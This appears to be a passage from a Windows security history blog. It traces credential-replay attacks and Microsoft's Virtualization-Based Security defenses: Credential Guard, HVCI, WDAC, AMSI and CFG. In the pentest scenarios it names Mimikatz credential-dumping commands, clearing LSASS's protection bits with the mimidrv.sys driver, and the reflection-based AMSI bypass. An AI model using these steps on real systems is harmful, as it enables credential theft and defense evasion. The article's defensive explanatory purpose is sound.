The result of interest is SecurityServicesRunning. A value of 1 in that list means Credential Guard is actively running (per the Win32_DeviceGuard documentation: 1 = Credential Guard, 2 = HVCI, 3 = System Guard secure launch, etc.). SecurityServicesConfigured tells you what the policy intends; SecurityServicesRunning tells you what the hypervisor is actually enforcing right now. The two values disagree more often than you would expect, usually because the hardware did not meet a prerequisite at boot.

Note: The minimum-viable layer: Credential Guard on every hardware-eligible non-DC endpoint, KB5014754 enforcement-mode certificate strong mapping with an annual ESC catalog audit, and PRT-extraction telemetry tied to a real detection workflow. The first two are commodity Microsoft features that close real attack classes today; the third is the only meaningful signal you can get on the attack class that none of the published defenses currently closes.

None of this closes Pass-the-PRT. All of it shortens the dwell time.

12. Frequently Asked Questions

No. The Primary Refresh Token sits in the CloudAP plug-in, which is outside Credential Guard's verbatim three-credential scope -- see section 6 ("What does Credential Guard isolate?") and section 8 ("Pass-the-PRT defeats three Microsoft defenses simultaneously") for the full mechanism. No. The 1997 Ashton patch and the 2008 Ochoa Windows-native pivot are both pre-Mimikatz; see section 1 and section 3 for the full origin story. Mimikatz is the dominant *tool* (May 2011 first release) but it is not the *origin* of Pass-the-Hash. No. The PRT is *hybrid* -- issued and revoked cloud-side by Entra ID, but stored and used client-side via the CloudAP plug-in inside LSASS. See section 8 ("Where the PRT *lives*") for why this hybrid architecture is what makes Pass-the-PRT operationally tractable today. No. It closed the three Certifried-class CVEs (CVE-2022-26923, CVE-2022-26931, CVE-2022-34691) but not the broader ESC2 through ESC16 catalog. See section 7 ("What does KB5014754 actually close?") and Table 1 for the per-template breakdown. For human interactive sign-in to Entra ID, mostly, if the entire enterprise migrates -- the FIDO2 authenticator holds a non-extractable private key in hardware, and the resulting authentication is bound to that key. For service accounts, scheduled tasks, on-prem Kerberos workflows, hybrid identity scenarios, and the long tail of legacy applications, no -- those paths still rely on long-term software-extractable artefacts (passwords, hashes, keys) by construction. The architectural counter is universal hardware-rooted non-extractable keys plus universal token binding plus universal continuous evaluation; the operational reality is partial coverage. No public v3. See section 5 ("The Mitigating-PtH v3 that never shipped") for the source-by-source disambiguation against Microsoft Download Center ID 36036.

13. The Pattern That Outlived Six Defenses

The 1997 patch and the 2026 attack are the same attack because the architectural property the family shares is unchanged. The artefact moved; the property did not.

A long-term authentication artefact reachable by the using process is replayable. The NT hash sat in LSASS on Windows NT 4.0 and replayed against SMB. The Kerberos TGT sat in LSASS on Windows Server 2003 and replayed against Kerberos services. The NT hash sat in LSASS on Windows Server 2008 and replayed against the KDC's RC4-HMAC authentication path as a real Kerberos client.

The X.509 certificate private key sat in a CryptoAPI key container on Windows Server 2012 R2 and replayed against PKINIT-supporting domain controllers as the principal in the SAN. The Primary Refresh Token sits in the CloudAP plug-in inside LSASS on Windows 11 23H2 today, and replays against Entra ID as the device's user from any machine that holds the extracted session key.

Each defense relocated the artefact to a harder-to-reach storage class. The "Do not store LAN Manager hash" policy retired LM. RunAsPPL marked LSASS as a Protected Process Light. Credential Guard moved NT hashes and TGT session keys out of LSASS in VTL0 into the LSAISO trustlet in VTL1. KB5014754 bound certificates to SIDs at issuance, so that a certificate without the SID extension fails strong mapping at the KDC. Token Protection bound PRTs to devices, so that a stolen PRT used against a supported resource from a non-bound device fails.

Each defense was real. Each closed a generation. The family did not close.

The reason the family does not close is structural. Every generation finds the next long-term artefact whose storage class the latest defense did not isolate. Pass-the-Hash worked because the NT hash was reachable. Pass-the-Ticket worked because the TGT was reachable. Overpass-the-Hash worked because the NT hash was reachable and the KDC accepted RC4-HMAC. Pass-the-Certificate worked because certificate templates were misconfigured and the SID extension did not exist. Pass-the-PRT works because CloudAP is in LSASS in VTL0 and Token Protection covers five resources.

The architectural lower bound -- universal hardware-rooted non-extractable keys plus universal token binding plus universal continuous evaluation -- is the only configuration that closes the family, and it is not deployed anywhere as a complete stack.

The playbook in the previous section is what to do today. The forecast in section 10 is what to architect for next. The closing observation is the one this article exists to register: when you read about the next named "Pass-the-X" technique, you already know what it will look like. A long-term authentication artefact, reachable from the process that holds it, replayed from a different machine, defeating the latest defense because that defense was designed for a different artefact.

Generation 6 is already in research literature. The only thing missing is the name.

Above the Kernel: The Windows Security Wars Part 4 (2015-2019)

noreply@paragmali.com (Parag Mali) — Wed, 27 May 2026 00:00:00 GMT

Between July 2015 and December 2019, Windows shipped its largest structural security discontinuity since the NT design itself: Virtualization-Based Security (VBS), which moves the credential store and the kernel code-integrity policy into a Secure Kernel running at a privilege level the NT kernel cannot reach. In the same five-year window, ransomware industrialized from spray-and-pray to double extortion -- WannaCry, NotPetya, Ryuk, REvil, Maze -- and a third axis, Meltdown / Spectre, proved the CPU itself could be the attacker's primitive. The paradox of simultaneity is the whole story: a kernel-isolated 2017 Enterprise laptop and a paralyzed NHS trust both ran "Windows" that May 12, and the difference between them was not architecture but operations -- a missing patch on a network nobody had segmented.

1. Two Scenes, One Five-Year Window

Scene A. A red-team operator, sometime in late 2016, sits in front of a freshly-imaged Windows 10 1607 Enterprise laptop with Credential Guard enabled. They open an elevated PowerShell, drop mimikatz.exe to disk, launch it, type privilege::debug. The prompt returns '20' OK. They type sekurlsa::logonpasswords. Output scrolls. The NTLM and Kerberos fields, where the cached hash and the Ticket Granting Ticket would normally appear, are empty. Not denied. Not access-restricted. Empty. The local LSASS process still exists; it still answers requests; the API surface is intact. But the secrets the operator came to read no longer live in this kernel.

Scene B. 11:00 a.m. UTC, May 12, 2017. The Royal London Hospital's radiology department. A workstation displays a red ransom note in eight languages. By 4:00 p.m., the National Audit Office will later determine, the attack has disrupted at least 34 percent of NHS trusts in England; some 19,000 patient appointments will be cancelled; ambulances will divert; junior doctors will hand-write prescriptions on paper [@nao-wannacry]. The exploit that delivered the worm to that machine, CVE-2017-0144, is one of the SMBv1 remote code execution flaws patched in Microsoft Security Bulletin MS17-010 [@ms-ms17-010] [@nvd-cve-2017-0144]. The patch shipped on March 14, 2017. It is, on May 12, one month and twenty-eight days old [@ms-ms17-010].

Both scenes happened. Both Windows boxes ran versions of the same operating system released in the same five-year window. Neither scene is hyperbole.

How can both be true at once? And what does the answer teach us about architectural defense -- its limits and its genuine accomplishments?

2. The Same-Privilege Paradox (1993-2014)

Here is a sentence to carry through the rest of this article: a defense that lives at the same privilege level as the attacker can always be turned off.

That sentence is the lesson of every Windows defense built between NT 3.51 in 1993 and Windows 8.1 in 2013. It is also the reason VBS had to exist at all.

Consider the pattern. The NT security model rests on access tokens and privileges. The privilege named SeDebugPrivilege lets a holder open any other process and read its memory. Local administrators get it by default; Mimikatz, released by Benjamin Delpy in May 2011, weaponized it [@wired-mimikatz]. Once an attacker reached local SYSTEM, SeDebugPrivilege let them walk into the Local Security Authority Subsystem Service (LSASS) and lift NTLM hashes and Kerberos tickets verbatim. The privilege check was working exactly as designed; the design assumed that whoever had the privilege deserved the data.

In 2005, with x64 versions of Windows Server 2003 SP1 and Windows XP, Microsoft introduced Kernel Patch Protection -- PatchGuard -- alongside Kernel-Mode Code Signing [@ms-patchguard]. PatchGuard's job was to detect modifications to critical kernel structures (the SSDT, the IDT, the GDT) and bugcheck the machine if it saw tampering. It was a watchdog inside the kernel watching the kernel.

By 2007, the indie research journal Uninformed published Skywing's third installment in a public series demonstrating how a kernel-mode attacker could disarm PatchGuard by rewriting its own code paths in-place [@skywing-patchguard]. The bypass was not a clever exploit; it was an inevitability. A monitor running in ring 0 has no privilege the rootkit lacks.

Driver Signing Enforcement followed the same logic and met the same fate [@ms-patchguard] [@skywing-patchguard]. So did Authenticode, AppLocker, and every other gate placed at the attacker's reachable privilege level. James Forshaw's August 2016 Project Zero work on AppContainer escape via shadow object directories rounded out the pattern: even the lowest-privilege sandboxes on Windows could be punctured by symbolic-link redirection executed at the sandbox's own privilege level [@pz-forshaw-shadow].

By 2012, three independent vectors had converged on the same insight. Bromium, co-founded by Xen architect Ian Pratt, shipped vSentry: a Type-1 micro-hypervisor that wrapped every risky task -- a browser tab, an opened document, an email attachment -- in its own micro-VM running underneath the Windows kernel [@wiki-bromium] [@silicon-bromium]. Microsoft's own massive investment in Hyper-V for Server 2012 had matured the company's hypervisor codebase. Intel's broad consumer-silicon rollout of Extended Page Tables and Second-Level Address Translation made hardware-assisted virtualization the default rather than the exception.

The structural observation that any defensive mechanism running at the same CPU privilege level as the attacker can be disabled by the attacker. Gates at ring 3 fall to ring 3 code; gates at ring 0 fall to ring 0 code. The only structural escape is to relocate the defender to a privilege level the attacker cannot reach. gantt title Windows defenses 1993-2014 and what disarmed each one dateFormat YYYY axisFormat %Y section Ring 3 gates SeDebugPrivilege (NT 1993) :done, sedebug, 1993, 2011 Mimikatz weaponization :crit, mimi, 2011, 2012 AppContainer (Win 8 2012) :done, appc, 2012, 2016 Symbolic link bypass (Forshaw) :crit, fshaw, 2016, 2017 LSA Protection (RunAsPPL) :done, ppl, 2013, 2015 mimidrv.sys PPL bit removal :crit, mimidrv, 2015, 2016 section Ring 0 gates PatchGuard (Server 2003 SP1) :done, pg, 2005, 2007 Skywing PatchGuard bypass :crit, sky, 2007, 2008 Driver Signing Enforcement :done, dse, 2007, 2012

The shared pattern in those tracks is not a series of individual failures. It is one structural failure repeated. Each "broken" line is a same-privilege primitive arriving on schedule and turning off the gate above it.

If every same-privilege defense fails the same way, what does a defense that does not live at the same privilege level look like?

3. Why Every Pre-VBS Credential Fix Failed

Picture a penetration tester in early 2015 working on a Windows 8.1 Pro host. The customer has done its homework. LSA Protection is enabled per Microsoft's guidance: the registry key HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL is set to 1, so the operating system launches lsass.exe as a Protected Process Light [@ms-lsa-protection]. The tester opens Mimikatz, types privilege::debug, gets OK, and runs sekurlsa::logonpasswords. Access denied. The user-mode OpenProcess call against a PPL target fails for any non-PPL caller, regardless of how much administrator the caller has.

That looks like a win for the defender. It is not.

The tester drops to disk the signed Mimikatz driver, mimidrv.sys. They load it with a single sc create / sc start pair. From kernel mode, the driver locates the EPROCESS structure for LSASS and clears the Protection bits in the _PS_PROTECTION field. From the same elevated PowerShell, the tester re-runs sekurlsa::logonpasswords. The hashes scroll past.

The PPL bit was a gate. The gate was at the same ring as the lever that opened the gate. The lever was a signed kernel driver shipped by the same project that shipped the dumper.

itm4n, who maintains the most-cited reference write-up on RunAsPPL behavior, puts the point in one sentence: "Credential Guard and LSA Protection are actually complementary" [@itm4n-runasppl]. They are complementary because they live at different privilege boundaries. PPL is a same-privilege gate inside VTL0. Credential Guard, as we will see in Section 5, is something structurally different.

"Credential Guard and LSA Protection are actually complementary." -- itm4n, "Do You Really Know About LSA Protection (RunAsPPL)?"

Microsoft did not stop at PPL. Between 2013 and 2014 the company shipped three credential-theft mitigations, each genuinely useful, none structurally sufficient.

Defense (year)	What it stops	What still works
Restricted Admin RDP (KB2871997, April 2014)	RDP no longer pushes plaintext or NTLM credentials to the destination machine	Lateral movement via pass-the-hash from a locally-captured hash; any local credential extraction on the source machine
Protected Users security group (Server 2012 R2, Oct 2013)	Disables NTLM and CredSSP credential delegation for member accounts; pre-Windows 8.1 cached creds purged	Plaintext credential capture during interactive sign-in; non-member accounts; pass-the-ticket once a TGT is obtained
LSA Protection / RunAsPPL (Win 8.1, Oct 2013) [@ms-lsa-protection]	User-mode `OpenProcess` against `lsass.exe` for non-PPL callers fails; conventional Mimikatz from user-land is blocked	A kernel-mode primitive (`mimidrv.sys`, BYOVD, or a vulnerable signed driver) clears the PPL bits from `_PS_PROTECTION` and the dump proceeds

Read the right-hand column as a single sentence. Every defense in the left column was bypassed by the same class of move: the attacker reached a privilege at or above the privilege of the gate, and then the gate opened.

That is not a flaw in any one of these features. That is the same-privilege paradox arriving in three different costumes.

itm4n's full write-up is worth reading end-to-end if you defend Windows endpoints. The author's PPLdump proof-of-concept builds the BYOVD-against-PPL attack as a single tool, and the post is unambiguous that PPL is a "same-privilege gate" while Credential Guard is a "cross-privilege isolation" -- the exact distinction this section turns on.

The reader who has watched a working defender press-release call any of these features "the answer to Mimikatz" will recognize the move by now. Every fix between 2013 and 2014 was at the attacker's privilege level. Every fix between 2013 and 2014 fell to a primitive at that privilege level. The pattern is not implementation bug. The pattern is structure.

If incremental fixes at the attacker's privilege level cannot work, what does a structural fix look like?

4. Three Generations Toward Cross-Privilege Isolation

The structural answer arrived in three generations, only one of which worked.

Generation A2 -- the kernel monitors the kernel (2005-2014). PatchGuard, KMCS, Driver Signing Enforcement. We have already met this generation. Microsoft did not abandon these defenses; the Windows kernel still bugchecks on PatchGuard violations today. But by 2014 the security research community had collectively documented enough kernel-mode bypasses that nobody serious treated PatchGuard as a primary defense [@ms-patchguard] [@skywing-patchguard]. Its function was to raise the cost of low-skill kernel rootkits, not to stop a SYSTEM-privileged attacker.

Generation A3 -- the process is sandboxed (2008-2015). Internet Explorer's Protected Mode (2006), Chrome's renderer sandbox (2008), and Microsoft's own AppContainer model in Windows 8 (2012) reduced the privilege of risky processes -- the browser tab, the document parser, the network listener -- below that of the parent user [@ms-appcontainer]. The threat model is RCE-in-renderer. The threat model is not SYSTEM-privilege takeover, because a sandbox does not stop credential theft once an attacker is already inside the user's session at full privilege. James Forshaw's August 2016 demonstration of AppContainer escape via shadow object directories closed the chapter [@pz-forshaw-shadow]. Sandboxes remain essential at the edge; they do not solve the post-exploitation problem.

Generation A4 -- cross-privilege isolation (2012-2015). Bromium's vSentry, launched commercially in September 2012, was the first product to deliver the idea that mattered: a Type-1 micro-hypervisor running underneath the Windows kernel, with each risky task placed in its own micro-VM [@silicon-bromium] [@wiki-bromium]. The hypervisor sits at a privilege level the guest kernel cannot reach. If the guest kernel falls, the micro-VM is destroyed and the rest of the host is untouched. By 2015, Microsoft had taken the same architectural idea and built it into the operating system. Generation A4 is the only generation in which the defender's privilege level changes.

flowchart LR A1[Generation A2
2005-2014
Kernel monitors kernel
PatchGuard, KMCS, DSE] A2[Generation A3
2008-2015
Process sandbox
AppContainer, Protected Mode] A3[Generation A4
2012-2015
Cross-privilege isolation
Bromium uVisor, then VBS] A1 --> R1[Outcome
Same ring as attacker
Same-privilege bypass] A2 --> R2[Outcome
Below user privilege
Wrong threat model for SYSTEM-takeover] A3 --> R3[Outcome
Above guest kernel
Defender unreachable from VTL0]

The structural lesson, said plainly: the only escape from the same-privilege paradox is to move the defender's privilege level, not to harden the gate.

HP Inc. acquired Bromium in September 2019 [@wiki-bromium]. The uVisor concept survived as HP Sure Click, a vertical-market product shipped on HP business notebooks. Bromium's contribution to the public story of Windows security is that it shipped the cross-privilege-isolation thesis as a working commercial product three years before Microsoft put it in the box. The reader who sees "Bromium" in a vendor presentation now knows the lineage: same idea, narrower market, earlier ship date.

What did Microsoft actually ship?

5. The Breakthrough: VBS, the Secure Kernel, and Trustlets

On July 29, 2015, Microsoft shipped Windows 10 version 1507, build 10240 [@wiki-win10-versions]. The same release window delivered five components -- Virtualization-Based Security, Credential Guard, Device Guard with Windows Defender Application Control, the Antimalware Scan Interface, and Control Flow Guard. One week later, on August 6, Alex Ionescu walked onto the Black Hat USA stage in Las Vegas and explained the internals in a deck titled Battle of SKM and IUM: How Windows 10 Rewrites OS Architecture [@ionescu-bh2015].

That deck is the load-bearing primary for the rest of this section. Where the prose below cites an internal mechanism -- an EKU OID, a process attribute, a syscall ordinal -- it is reading Ionescu first and Microsoft Learn second.

A Windows security architecture that uses hardware virtualization extensions (Intel VT-x, AMD-V) and Second-Level Address Translation to run two isolated kernel environments on the same physical machine: the conventional NT kernel and a stripped-down Secure Kernel. Microsoft's official framing is that VBS "creates an isolated virtual environment that becomes the root of trust of the OS that assumes the kernel can be compromised" [@ms-vbs].

5.1 Hyper-V as the substrate

VBS does not invent a new hypervisor. It reuses the Hyper-V hypervisor Microsoft had already shipped for Server 2008 and matured through Server 2012 [@ms-tlfs-vsm]. On a machine with VBS enabled, the Windows boot path is: UEFI Secure Boot -> Hyper-V hypervisor -> Hyper-V root partition. Inside that root partition, the NT kernel runs in one Virtual Trust Level and the Secure Kernel runs in another.

A Hyper-V hypervisor abstraction that partitions a single virtual machine into multiple privilege domains. Higher-numbered VTLs are strictly more privileged than lower-numbered ones; lower VTLs cannot read or write higher-VTL memory. The Hyper-V Top-Level Functional Specification reserves up to 16 VTLs, of which only VTL0 (NT kernel) and VTL1 (Secure Kernel) are used in shipped Windows configurations [@ms-tlfs-vsm].

A process running with full SYSTEM privilege in VTL0 sees the conventional NT API surface. It can call NtReadVirtualMemory on any VTL0 process. It cannot read VTL1 memory at all, because the hypervisor's Extended Page Tables for VTL1 simply do not map VTL1 pages into the VTL0 address space. The Mimikatz dumper that read lsass.exe in 2011 is technically still running on the new machine. It is just reading the empty husk of LSASS, because the secret bytes were never copied into VTL0 in the first place.

5.2 The Secure Kernel

securekernel.exe, the binary that backs VTL1, is on the order of a few hundred kilobytes. It has no device drivers. It has no graphics stack. Its scheduler is minimal [@ionescu-bh2015]. Its paging is handled by asking the VTL0 NT kernel for help -- the Secure Kernel treats the NT kernel as an untrusted resource manager that may return a page or not, and signs and encrypts anything it sends out to be paged. The smallness is not aesthetic. Smallness is part of the threat model. The Secure Kernel is small so that its attack surface is enumerable, and so that the team responsible for its correctness can review every line.The audited binary size is also why VBS does not run user applications in VTL1. The Secure Kernel hosts only "trustlets" -- a tightly bounded set of Microsoft-signed processes designed to do one cryptographic or measurement task each. Putting your code in VTL1 is not on the application developer's path; it is a privilege Microsoft grants its own modules.

5.3 Isolated User Mode and trustlets

Above the Secure Kernel, in user-mode VTL1, runs a stripped-down user-mode environment Microsoft calls Isolated User Mode (IUM). The processes hosted by IUM are called trustlets.

The VTL1 user-mode environment in which trustlets execute. IUM provides a deliberately reduced syscall surface compared to VTL0 user mode -- Ionescu's BH 2015 deck enumerates an approximately 48-syscall allow-list, all routed through the Secure Kernel rather than through `ntoskrnl.exe` [@ionescu-bh2015]. A Microsoft-signed process that runs in Isolated User Mode and is protected from VTL0 inspection. A binary becomes a trustlet only by passing five gates at process creation, all enumerated in Ionescu's Black Hat 2015 deck [@ionescu-bh2015]: (1) a process attribute set on the `NtCreateProcessEx` call, (2) two Enhanced Key Usage OIDs in the Authenticode signature at Signature Level 12 -- the Microsoft Windows System Component Verification EKU `1.3.6.1.4.1.311.10.3.6` and the IUM EKU `1.3.6.1.4.1.311.10.3.37`, (3) a `.tpolicy` PE section, (4) a Trustlet Instance GUID, and (5) loading via the trustlet-specific loader that enforces the syscall allow-list.

The two EKU OIDs are worth memorizing because they are the primary way a defender or auditor can tell, by inspecting a signed binary, whether it is permitted to run as a trustlet at all. Ionescu's deck flagged a typographic error in one OID on a slide; cross-cite Microsoft documentation for the canonical form. The OIDs above are the canonical form [@ionescu-bh2015].

The five-gate pattern matters because it explains what an attacker has to do to create a trustlet, and the answer is: forge a Microsoft signature. The five gates are not security in series; they are security in identity. A binary either has the EKUs Microsoft issues or it does not.

5.4 The canonical 1507-era trustlet roster

Three trustlets shipped in the first 1507 wave. Ionescu's deck enumerates their integer IDs [@ionescu-bh2015]:

Trustlet ID 1 -- LSAISO (the Local Security Authority Isolated). The Credential Guard secret-keeper. Holds the NTLM hashes, the Kerberos Ticket Granting Tickets, and any other credentials Credential Guard is protecting.
Trustlet ID 2 -- vTPM. The virtual Trusted Platform Module used by Hyper-V shielded VMs in the Server 2016 timeframe.
Trustlet ID 3 -- the Biometrics trustlet (Windows Hello). Holds biometric template data; in later Windows 11 documentation the same isolation primitive is marketed as Enhanced Sign-in Security (ESS), but that name is a Windows 11-era rebrand and post-dates the 2015 enumeration.

ID 0 in the IUM trustlet table is reserved as a system bootstrap slot per the table's 1-indexing convention; the publicly available 1507-era material -- Ionescu's Black Hat USA 2015 deck and the Windows Internals 7th edition Chapter 7 -- does not separately attest ID 0 as an end-user-deployable trustlet, so it is best read as a system-reserved slot rather than as a named credential-isolation primitive [@ionescu-bh2015] [@mspress-windows-internals-7e].

The trustlet that backs Credential Guard. The conventional LSASS process continues to run in VTL0 and answers the same API calls it always did, but on a Credential Guard-enabled system the NTLM hash and Kerberos TGT are stored inside LSAISO in VTL1. When LSASS needs to use a credential -- for example, to construct a Kerberos pre-authentication response -- it crosses the secure-call channel to LSAISO, which performs the cryptographic operation inside VTL1 and returns only the derived result. The raw secret never crosses the VTL boundary back into VTL0 [@ms-credential-guard].

5.5 The secure-call channel

VTL0 and VTL1 talk via a small set of secure-call ordinals. The canonical primitive Ionescu names is IumSetTrustletInstance at ordinal 0x80000001, paired with a handful of agent-trustlet RPC patterns [@ionescu-bh2015]. The semantic invariant is the same on every call: VTL0 sends a request, VTL1 performs work on protected data, VTL1 returns either a result the requester is permitted to see or a failure. The secret never leaves VTL1.

flowchart TB HW[Hardware
CPU with VT-x/AMD-V
SLAT, IOMMU, TPM 2.0] UEFI[UEFI Secure Boot] HV[Hyper-V hypervisor] HW --> UEFI --> HV subgraph VTL0[VTL0 -- NT environment] NTK[NT kernel
ntoskrnl.exe, drivers] UMP[User-mode processes
LSASS, services, apps] NTK --- UMP end subgraph VTL1[VTL1 -- Secure environment] SK[Secure Kernel
securekernel.exe] IUM[Isolated User Mode
trustlets: LSAISO, vTPM, ESS] SK --- IUM end HV --> VTL0 HV --> VTL1 VTL0 -.secure-call channel.-> VTL1 ATK[Attacker reach
caps at VTL0 SYSTEM] -.-> NTK

The diagram is worth reading twice. The attacker's reachable privilege ceiling is the dashed line into VTL0. Everything above the secure-call channel is, by hardware-enforced page-table convention, unreachable from below.

sequenceDiagram participant App as Caller participant NT as NT kernel participant Loader as Trustlet loader participant SK as Secure Kernel App->>NT: NtCreateProcessEx with trustlet process attribute NT->>Loader: Validate Authenticode signature Loader->>Loader: Check EKU 1.3.6.1.4.1.311.10.3.6 Loader->>Loader: Check EKU 1.3.6.1.4.1.311.10.3.37 Loader->>Loader: Parse .tpolicy PE section Loader->>SK: Assign Trustlet Instance GUID SK->>SK: Install reduced syscall allow-list SK-->>App: Trustlet process handle

5.6 The conceptual hinge

Stop here and reread the architecture. The NT kernel is still compromisable. A driver bug, a BYOVD attack, a kernel race condition -- all of those still pop SYSTEM in VTL0 the same way they did in 2014. VBS does not pretend otherwise. The Microsoft Learn VBS landing page is explicit that VBS "assumes the kernel can be compromised" [@ms-vbs]. The defensive invariant has nothing to do with keeping attackers out of the NT kernel. The defensive invariant is that the secrets they came for are not in the NT kernel.

Key idea: VBS does not protect the NT kernel from compromise. It guarantees that even a fully-compromised NT kernel cannot reach the secrets held in VTL1 trustlets.

That sentence is the entire defensive thesis of Windows 10. Once a reader has it, every component shipped between 1507 and 1909 -- Credential Guard, HVCI, AMSI, CFG, Process Mitigation Policies -- reads as a follow-on instance of the same trust-topology move, modulated by what is hardware-rooted versus software-instrumented.

LSAISO holds the NTLM hash and the Kerberos TGT. That handles credential theft. What about the rest of the attack surface?

6. The 2019 Defensive Stack

By Windows 10 version 1909, shipped November 12, 2019 [@ms-release-info] [@wiki-win10-versions], the VBS architecture had grown a six-feature shipping stack -- Credential Guard, HVCI, WDAC, AMSI, CFG, and Process Mitigation Policies -- plus a cloud-backed endpoint detection and response backend in Defender Advanced Threat Protection. Each closes a specific attack class. Each has a deliberate, named bypass surface. The mature defender's question by the end of 2019 was no longer "is it deployed" but "which class is left."

6.1 Credential Guard

Microsoft's documentation describes Credential Guard's scope precisely: it "prevents credential theft attacks by protecting NTLM password hashes, Kerberos Ticket Granting Tickets (TGTs), and credentials stored by applications as domain credentials" [@ms-credential-guard]. Mechanism: LSA in VTL0 retains the API surface; the secret bytes relocate to LSAISO in VTL1; the secure-call dispatch performs the cryptographic step and returns derived output. The Mimikatz LSASS-scrape family -- sekurlsa::logonpasswords, sekurlsa::tickets, lsadump::secrets -- returns empty fields on a Credential Guard-enabled system because the bytes it scans for are no longer in the address space it can read.

What Credential Guard does not stop is worth naming, because the apologist failure mode is to claim it stops everything. It does not stop pass-the-ticket replay of a TGT captured before Credential Guard was enabled. It does not stop sign-in-time keylogging that scrapes the plaintext password as the user types it. It does not stop a stolen-DC-krbtgt attack that forges Golden Tickets offline. And it does not retroactively scrub credentials presented over RDP outside Restricted Admin mode. Each of those is a meaningful threat. Each lives in a class Credential Guard was not engineered to address.

sequenceDiagram participant App as Application participant LSA as LSA (VTL0) participant SCD as Secure-call dispatch participant ISO as LSAISO (VTL1) App->>LSA: LsaCallAuthenticationPackage LSA->>SCD: secure-call with TGT request SCD->>ISO: forwarded across VTL boundary ISO->>ISO: derive Kerberos session key with stored TGT ISO-->>SCD: derived session key (raw TGT stays in VTL1) SCD-->>LSA: derived result LSA-->>App: success

6.2 HVCI

A Windows VBS feature, also marketed as Memory Integrity, that uses the Hyper-V hypervisor to enforce write-XOR-execute on VTL0 kernel pages via Extended Page Tables. Microsoft's documentation calls HVCI a "critical component that protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS" [@ms-hvci]. The practical effect is that the classical kernel code-injection attack class -- write shellcode into a kernel page, then execute -- is closed.

HVCI shipped first in Windows 10 1507 in limited form, and rolled out broadly with the 1607 Anniversary Update. Its enforcement is hardware-accelerated by Intel's Mode-Based Execute Control or AMD's equivalent Guest Mode Execute Trap [@ms-hvci]. On supported silicon, the kernel-page W^X check happens in EPT permission bits with no measurable per-page-fault overhead. The attack class HVCI does not close is not "rootkit"; the attack class HVCI does close is "kernel code injection". An attacker can still call existing kernel functions in unintended sequences -- the data-only kernel attack -- and that is a known and acknowledged residual.

6.3 WDAC

Windows Defender Application Control, the rebranded successor to Device Guard's code-integrity component, enforces kernel-mode and user-mode code-integrity policy authored in XML and compiled to a binary .cip file [@ms-wdac]. The policy is consulted at every image load by CI.dll. Signed-policy mode binds the policy to a signing key and rejects updates that are not co-signed by the same key, which is the canonical answer to the "attacker rewrites the policy file from SYSTEM" objection.

WDAC's known weaknesses are not architectural. They are XML-authoring complexity (production policies routinely run to thousands of rules), bring-your-own-vulnerable-driver against permissive driver allow-lists, and abuse of legitimately-signed Living-Off-the-Land binaries -- rundll32.exe, regsvr32.exe, msbuild.exe -- that pass any signature-based allow-list because Microsoft signed them itself. AppLocker, the older peer technology that ships in Pro SKUs, is functionally subsumed; new deployments default to WDAC [@ms-wdac].

6.4 AMSI

The Antimalware Scan Interface is a Component Object Model interface that lets script-host runtimes -- PowerShell, Windows Script Host (JScript and VBScript), Office VBA, and WMI -- hand a freshly-deobfuscated string buffer to the configured anti-malware provider before executing it [@ms-amsi].

A user-mode COM interface introduced in Windows 10 1507 that allows scripting and macro hosts to submit a buffer (typically a deobfuscated script body) to the configured anti-malware provider for inspection before execution. Lee Holmes's June 9, 2015 Microsoft Security Blog post announced AMSI alongside the Windows 10 1507 ship [@ms-leeholmes-amsi]. Microsoft Defender is the default provider; third-party engines register via `IAntimalwareProvider`.

AMSI matters because pre-AMSI, an obfuscated PowerShell command line was opaque to the anti-malware engine until after it had run. AMSI runs the engine on the post-deobfuscation buffer. The engine sees the cleartext.

The bypass class AMSI exposes is a deliberate tradeoff. AMSI is a hook from user-mode script hosts. An attacker who already has code execution in the same user-mode process can patch the AMSI hook out -- the canonical reflection trick sets AmsiUtils.amsiInitFailed to True via .NET reflection, and MDSec's June 2018 PowerShell AMSI evasion write-up walks through the family in detail [@mdsec-amsi-bypass]. AMSI is a hook, not a sandbox. The bypass surface is part of the design tradeoff.

AMSI did not ship as a single event. Windows 10 1507 (July 2015) brought PowerShell 5.0, Windows Script Host, and Office VBA macro coverage. Office 365 client applications integrated AMSI for Office VBA macros in September 2018 per Microsoft's announcement [@ms-office-amsi]. The Windows 10 1903 release in May 2019 added the AMSI-for-WMI provider [@ms-win10-1903]. The same product name covered four very different runtimes, and the runtime that was missing from your endpoint was the runtime an attacker used. Treat "AMSI is enabled" as a question with four sub-questions until 1903.

6.5 Control Flow Guard

Burow, Carr, Nash, Larsen, Brunthaler, Payer, and Franz's 2017 ACM Computing Surveys review Control-Flow Integrity: Precision, Security, and Performance is the academic reference that classifies what CFG actually is [@burow-cfi-csur2017]. In the Burow et al. taxonomy, CFG is forward-edge, coarse-grained, software CFI.

A platform security feature that "was created to combat memory corruption vulnerabilities" by validating indirect call targets against a compile-time-known set of valid functions [@ms-cfg]. The compiler emits a call to `__guard_check_icall_fptr` before every indirect call; the runtime consults an OS-maintained bitmap of valid call targets in the loaded process image; an invalid target traps to the kernel and the process is terminated.

The mechanism is small enough to describe in code. The OS maintains a per-process bitmap indexed by 16-byte-aligned function addresses; each bit indicates whether that address is a valid indirect-call target. Before every indirect call, the compiler emits a bitmap lookup. If the bit is clear, the program is terminated.

{` // Simulated CFG bitmap and indirect-call check const bitmap = new Uint8Array(1024);

function markValidTarget(addr) { // Each bit covers a 16-byte-aligned function address const bitIndex = (addr >> 4); bitmap[bitIndex >> 3] |= (1 << (bitIndex & 7)); }

function guardCheckIcall(targetAddr) { const bitIndex = (targetAddr >> 4); const isValid = (bitmap[bitIndex >> 3] >> (bitIndex & 7)) & 1; if (!isValid) { throw new Error('CFG violation: terminate process'); } }

markValidTarget(0x1400); markValidTarget(0x1500);

guardCheckIcall(0x1400); console.log('Valid call site allowed.');

try { guardCheckIcall(0x1410); } catch (e) { console.log(e.message); } `}

The known limits of CFG are the limits Burow et al. enumerate for forward-edge, coarse-grained, software CFI in general [@burow-cfi-csur2017]. CFG protects only forward edges -- indirect calls and indirect jumps -- so an attacker who corrupts a return address is unaffected by CFG and needs a backward-edge defense (Intel Control-flow Enforcement Technology shadow stacks, in the Part 5 story). CFG's bitmap is coarse: any function whose address is taken is a valid target. And non-CFG-instrumented DLLs in the process create gaps; the bitmap has no bit set for code the compiler did not see.

6.6 Process Mitigation Policies

